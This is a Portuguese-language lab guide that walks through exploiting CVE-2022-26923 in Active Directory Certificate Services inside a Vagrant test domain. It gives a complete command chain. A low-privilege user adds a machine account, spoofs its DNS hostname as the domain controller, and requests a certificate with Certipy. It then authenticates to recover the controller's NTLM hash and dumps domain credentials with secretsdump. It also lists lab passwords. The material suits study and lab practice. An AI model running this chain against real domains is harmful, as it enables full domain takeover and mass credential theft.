
Exploração para CVE-2022-26923
CVE-2022-26923 é uma vulnerabilidade nos Serviços de Certificados do Active Directory (AD CS) que permite a um atacante elevar privilégios ao usar indevidamente a autenticação baseada em certificados. Este guia descreve as etapas para explorar essa vulnerabilidade usando Impacket e Certipy.
| Máquina Virtual | Usuário | Senha |
|---|---|---|
| Windows Server | Administrator | !@windowsadmintest101 |
| Windows Server | testuser | $Vulnerable139 |
| Kali-Linux VM | vagrant | vagrant |
Primeiro, clone o repositório contendo os arquivos necessários:
git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng
O repositório contém duas pastas, cada uma com um Vagrantfile para provisionar máquinas virtuais. Você deve instalar o Vagrant na sua máquina host antes de continuar.
Baixe e instale o Vagrant aqui. Ou instale usando o PowerShell:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
Navegue até o diretório WindowsServer2022:
cd WindowsServer2022
vagrant up
Isso fará o download e configurará a VM do Windows Server 2022 no VirtualBox.
Navegue até o diretório Kali-LinuxVM:
cd Kali-LinuxVM
vagrant up
Como o exploit requer uma rede NAT, configure o VirtualBox da seguinte forma:
Antes de executar o comando abaixo, certifique-se de que o VBoxManage está adicionado às suas variáveis de ambiente. Se não estiver, execute o comando usando o caminho completo:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Se o VBoxManage não for reconhecido, use:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Certifique-se de verificar ambas as VMs no VirtualBox e garanta que elas estejam atribuídas ao adaptador de rede NatNetwork - NatNet1.
Antes de continuar, certifique-se de que o Windows Server 2022 e a VM Kali Linux estejam ligados.
Acesse a VM Kali Linux para iniciar o ataque.
Atualize o arquivo /etc/hosts para mapear o IP do controlador de domínio:
sudo nano /etc/hosts
Adicione a seguinte entrada:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
Salve e saia.
Navegue até o diretório CVE-26923 e ative o ambiente virtual Python:
cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate
Usando o utilitário addcomputer do Impacket:
impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'
ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Verifique os computadores do domínio:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Navegue até o diretório bloodyAD e use bloodyAD.py para adicionar PCTEST1 ao domínio:
cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'
Verifique se PCTEST1 foi atribuído ao domínio:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Use Certipy para encontrar certificados vulneráveis:
certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'
Solicite um certificado de máquina usando Certipy:
certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA
Autentique-se usando o certificado obtido:
certipy auth -pfx server2022.pfx
Após executar o comando certipy auth, dois hashes serão exibidos. O hash do lado direito será usado para autenticação NTLM.
Exemplo de saída de hash:
aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7
Use o hash NTLM extraído para extrair credenciais:
impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7
Isso conclui a cadeia completa de ataque para explorar o CVE-2022-26923.